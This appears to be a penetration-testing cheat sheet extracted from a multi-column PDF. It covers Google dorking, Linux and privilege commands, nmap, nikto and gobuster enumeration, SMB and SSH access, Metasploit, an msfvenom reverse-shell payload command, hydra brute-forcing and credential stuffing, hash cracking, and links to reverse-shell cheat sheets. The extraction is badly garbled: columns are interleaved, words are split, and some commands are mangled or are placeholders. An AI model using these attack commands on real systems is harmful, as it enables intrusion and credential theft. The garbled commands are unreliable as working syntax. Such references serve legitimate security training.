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#### **MISCELLANOUS**

#### Google Fu

use quotations to find only results that contain the text within the quotation marks.

"Introduction to Cryptography"

use site keywork to only find results from a specific website.

Introduction to Cryptography site:stackexchange.com

using the filetype keyword to search for specific file types.

Introduction to Cryptography -review filetype:pdf

using the allintitle option to search the title of webpages for your provided keyword/text allintitle:index of

# Google Fu (cont)

using the inurl option to search for the existence of a particular string in a url inurl:admin site:someadminsite.com

to get results that contain links/redirects to the example.com

link:example.com

use the wildcard to do a wildcard search for results that have anything as the but must begin and end with "hack" and "VPN" respectively

"hack \* VPN"

to return results of websites that offer similar services to amazon.com, useful if you want to know other competitors for a particular service

Dell Laptop related:amazon.com

More of Google Fu here: https://www.blackhat.com/presentations/bh-europe-05/BH-\_EU\_05-Long.pdf

#### File transfers

sdsdf

sdsf

## Spawing TTY shells

Link 1

Link 2

#### **Useful Linux Commands**

#### To locate a file

updatedb locate FILE

To clone a github repo

git clone REPO URL

For command2 to execute if and only ifcomma

COMMAND1 && COMMAND2

For command2 to execute if and only ifcomma

COMMAND1 || COMMAND2

Print a range of numbers from start to stop witl

seq [START NO] [STEP] STOP NO seq 1 256

To split a string into fields based on a delimiter the Nth field. Include file if string is in a file and

" string to cut into six fields " [FILE]

To list open ports on a system

netstat -lp

To kill a process on an open port (thus closing

kill pid\_no

To zip a file/directory (-r for recursiveness)

zip -r zipped fil e.zip file-o r-

To unzip a zipped file

unzip zipped fil e.zip

## More metasploit

To search for metasploit modules within a metasploit module

search /path/ to/ msf /module -t search st ring

search exploi ts/ linux -t ftp



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#### **Useful Linux Commands (cont)**

To list crontab for a user

crontab -u johndoe -l

**Users and Privileges** 

To switch between users

su USERNAME

To create a cronjob to echo "nice" into a file every To run a command as user without explicitly minute (more on cronjobs here': switching users

To list sudo permissions for a user in

To find a file in directory / with permission of 4000 terminal scope

find / -type f -perm -4000

To set SUID bit on a file or dir

chmod u+s or chmod 4000

To set SGID bit on a file or dir

chmod g+s or chmod 2000

To set sticky bit on a file or dir

chmod +t or chmod 1000

#### **Network Commands**

To get IP info of network interfaces

To get arp neighbors

ip n arp -a

To get info on gateway

ip r

sudo -1

To elevate priv of a user in terminal scope into super user

sudo su

For persistent super user / root mode

sudo -s

To change passwd for a user

passwd USERNAME

To add a new user account

adduser USERNAME

To view all user accounts, passwd or shadow file

cat /etc/p asswd cat /etc/s hadow

To view all groups

cat /etc/group

To view sudo users (sudoers)

cat /etc/s udoers

#### **Linux Services**

To start, stop or restart a service

service SERVIC E NAME start service SERVIC E NAME stop service SERVIC E NAME restart

To check status of a service

service SERVIC E NAME status

#### Stages of Ethical Hacking

informusing tools like wapalyzer, ation builtwith, breachparse,

gathering

using tools like nmap, dirb, scanning and nikto, nessus, sublist3r, amass, enumer-

ation

using tools like searchsploit, gaining exploit-db, metasploit, buffer access overflows, bind/reverse shells (exploita-

tion)

using tools like pspy64, linpeapost-exploits.sh, winpeas.sh or by doing a ation hashdump, passwd/shadow/g-

roup/sudoers file dumps, etc

## Scanning and Enumeration

#### Port/Service Scanning/Discovery

enumerate all devices discoverable on a subni-

netdis cover -r 10.10.1 0.0/24

nmap TCP half-open scan on all ports with OS detection, script scan, tracert

nmap -T4 -sS -p- -A 10.10.1 0.10

nmap scan on range of IPs with only ping scar disabled)

nmap -T4 -sn 10.10.1 0- 124.0-255

nmap TCP half-open scan for select ports whil discovery

nmap -T4 -sS -p1-1024 -A -Pn 10.1



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#### Port/Service Scanning/Discovery (cont)

-sT (for full TCP 3-way handshake scan) -sU (for UDP scan)

other scan techniques in place of -sS

#### Nessus scan

service nessusd start --> https: //kali:8834

#### Nikto scan

nikto -host http://10.10.10.1

#### HTTP/S Enumeration

no recursive search.

Website vuln scan with Nikto

nikto -host http://10.10.10.10

# **Domain Enumeration**

Sub-domain enumeration

sublist3r -d DOMAIN.COM

discover domain names hosted on a server via virtual hosting

dns -n SERVER\_IP -r LOCAL\_IP\_RAN-GE\_TO\_SEARCH\_FOR\_DOMAINS {{nb}} dnsrecon -n 10.10.10.11 -r 127.0.0.0/24

to add discovered domain to host file

edit /etc/hosts and add mapping: SERVER IP DOMAIN NAM E.COM

To probe domains for http/s servers using tomnomnom's httprobe

cat domain -na mes.txt | httpro

standard directory busting with dirb using default common.txt wordlist. -w ignores warnings. use -r fotime?]

## dirb https: //s ecu res ite.com -w

Directory busting with dirb specifying wordlists and extensions to append to words probe

'dirb http://unsecuresite.com/path/to/wordlist -X !html,.php -w

standard directory busting with gobuster

gobuster dir -u https: //s ome sit

#### **SMB Enumeration**

connect to SMB and list share names \\\19 2.1 68.2 19.133 smbclient -L

connect to an SMB share

smbclient \\\\19 2.1 68.2 19.13 3\
com -w /path/ to/ wor d/list
ENAME\$

## gobuster dir -u http://so mes ite.com.uv/path/ to/ wor d/list -x .html

,.php

Enumeration of tech stack for a website

whatweb https://www.example.com

#### Some wordlists to use:

/usr/s har e/w ord lis ts/ dir b us ter /[d ire cto ry- lis t-2.3 - med ium.txt

/usr/.../ dir bus ter /di rec to r y-l ist -lo wer cas e-2.3- med

Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent)

# **SSH Enumeration**

search smb auxiliary

connecting to SSH on legacy systems. First start with ssh login@ ser verip and continue incrementally if needed

ssh username@10.10.10.10 -oKexAlgorithms=+diffie-hellman-group-exchangesha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc

### SSH Enumeration (cont)

To connect using private key.

ssh -i id.rsa johndo e@1 0.0.0

#### **NFS Enumeration**

To mount the network file system on local machine

mount 10.0.0.1: /sr v/nfs /mnt

#### **EXPLOITATION**

#### Metasploit

on sole]

Start metasploit. [Starting metasploit first

msfconsole. [msfdb init && msfc

To search for an exploit

search EXPLOI T NAME

After search, to select an exploit use exploi tdb id

directory busting with gobuster, specify **threads** and file extensions to append to words

To see options for an exploit Enumerate SMB with help from modules from metasploit

To set a value for an option

set option name value

To run exploit

run **or** exploit

Automate metasploit with recourse scripts ( .rc files)

msfconsole -r FILE\_N AME.rc

To get list of all metasploit payloads via msfvenom

msfvenom --list payloads



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Metasploit (cont) **Bruteforce** To get the list of all options per payload

Bruteforce password for a username to a service with hydra

msfvenom -p payloa d name --list -op hydna -l username -P /path/ to/ pas

To get list of payload file output formats support by mistenom

hydra -l john -P /usr/s har e/j ohn Dumpssw ord.istmssh:// 10.0.0 .1:22

password

msfvenom --list formats Basic syntax for using msfvenom

Credential stuffing with hydra

hashes of

user

Post Exploitation

msfvenom -p payloa d name OPTION 1=V

ALUE1 OPTION 2=V ALUE2 -a sys hydra -L userna mes.txt -P passwo reaccounts ftp:// 10.0.0.1:21

-f out\_fi le\_ format -○ out\_fi le\_namedential stuffing with hydra using a file with colonoseperated "umame pass" format on Create reverse\_shell shellcode (e.g. for buffer overflow exploit)

multiple targets

identify a

msfvenom -p window s/s hel l\_r eve rse\_tcp LHOST= 10.0.0.1 LPORT=222

logins.txt -M target s.txt type of 139 smb hydra -C Bruteforce password for a zip file

hash

EXITFUNC=thread -b " \x0 0" -a x86

To crack hashcat -m hash-mode dige -ffcrackzip -u -D -p /path/ to/ wor dlist zipfil e name a hash ist-

hashcat -m 0 cd7350 282..

Searchsploit / Exploit-db

To search for an exploit on exploit-db

Use exploit-db website or searchsp loit EXPLOI T NAME on terminal

After search, to get full local path on system for an exploit

searchsploit -p EXPLOI TDB ID

For bruteforcing web-sites/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username -- ). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use

Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combinhttps://hash-

using

hashcat

(check

cat.net/wiki/do-

ku.php?

id=ha-

shcat for

hashmode)

Reverse shell

https://www.revshells.com/

https://github.com/swisskyrepo/PayloadsAll-The Things/blob/master/Methodology%20and%20Resources/Reverse%20Shell%2-0Cheatsheet.md

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ation of username/password)

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